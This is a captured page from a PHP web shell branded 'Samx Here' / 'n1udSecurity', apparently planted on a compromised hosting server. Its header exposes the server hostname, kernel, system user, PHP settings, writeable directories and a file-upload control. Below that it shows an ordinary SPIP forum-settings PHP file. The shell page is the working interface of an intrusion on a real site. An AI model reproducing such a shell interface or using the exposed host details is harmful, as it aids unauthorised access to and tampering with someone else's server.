Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/petits/plugins-dist/forum/formulaires/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/petits/plugins-dist/forum/formulaires/activer_forums_objet.php
<?php

/***************************************************************************\
 *  SPIP, Système de publication pour l'internet                           *
 *                                                                         *
 *  Copyright © avec tendresse depuis 2001                                 *
 *  Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James  *
 *                                                                         *
 *  Ce programme est un logiciel libre distribué sous licence GNU/GPL.     *
\***************************************************************************/

/**
 * Gestion du formulaire de configuration indiquant où les forums peuvent
 * être activés
 *
 * @package SPIP\Forum\Formulaires
 **/
if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}

/**
 * Récupérer le réglage des forums publics d'un objet
 *
 * @param int $id_objet
 * @param string $objet
 * @return bool
 *     true si les forums publics sont autorisés, false sinon
 **/
function get_forums_publics($id_objet = 0, $objet = 'article') {

	if ($objet == 'article' and $id_objet) {
		$obj = sql_fetsel('accepter_forum', 'spip_articles', 'id_article=' . intval($id_objet));

		if ($obj) {
			return $obj['accepter_forum'];
		}
	} else { // dans ce contexte, inutile
		return substr($GLOBALS['meta']['forums_publics'], 0, 3);
	}

	return $GLOBALS['meta']['forums_publics'];
}

/**
 * Charger
 *
 * @param int $id_objet
 * @param string $objet
 * @return array
 *     Contexte du squelette du formulaire
 */
function formulaires_activer_forums_objet_charger_dist($id_objet, $objet = 'article') {
	if (!autoriser('modererforum', $objet, $id_objet)) {
		return false;
	}

	include_spip('inc/presentation');
	include_spip('base/abstract_sql');
	$nb_forums = sql_countsel(
		'spip_forum',
		'objet=' . sql_quote($objet) . ' AND id_objet=' . intval($id_objet) . " AND statut IN ('publie', 'off', 'prop', 'spam')"
	);
	$editable = ($objet == 'article') ? true : false;
	if (!$editable and !$nb_forums) {
		return false;
	}

	return [
		'editable' => $editable,
		'objet' => $objet,
		'id_objet' => $id_objet,
		'accepter_forum' => get_forums_publics($id_objet, $objet),
		'_suivi_forums' => $nb_forums ? _T('forum:icone_suivi_forum', ['nb_forums' => $nb_forums]) : '',
	];
}

/**
 * Traiter
 *
 * @param int $id_objet
 * @param string $objet
 * @return array
 *     Retours des traitements
 */
function formulaires_activer_forums_objet_traiter_dist($id_objet, $objet = 'article') {
	include_spip('inc/autoriser');
	if ($objet == 'article' and autoriser('modererforum', $objet, $id_objet)) {
		$statut = _request('accepter_forum');
		include_spip('base/abstract_sql');
		sql_updateq('spip_articles', ['accepter_forum' => $statut], 'id_article=' . intval($id_objet));

		if ($statut == 'abo') {
			ecrire_meta('accepter_visiteurs', 'oui');
		}
		include_spip('inc/invalideur');
		suivre_invalideur("id='$objet/$id_objet'");
	}

	return ['message_ok' => _T('config_info_enregistree'), 'editable' => true];
}

SAMX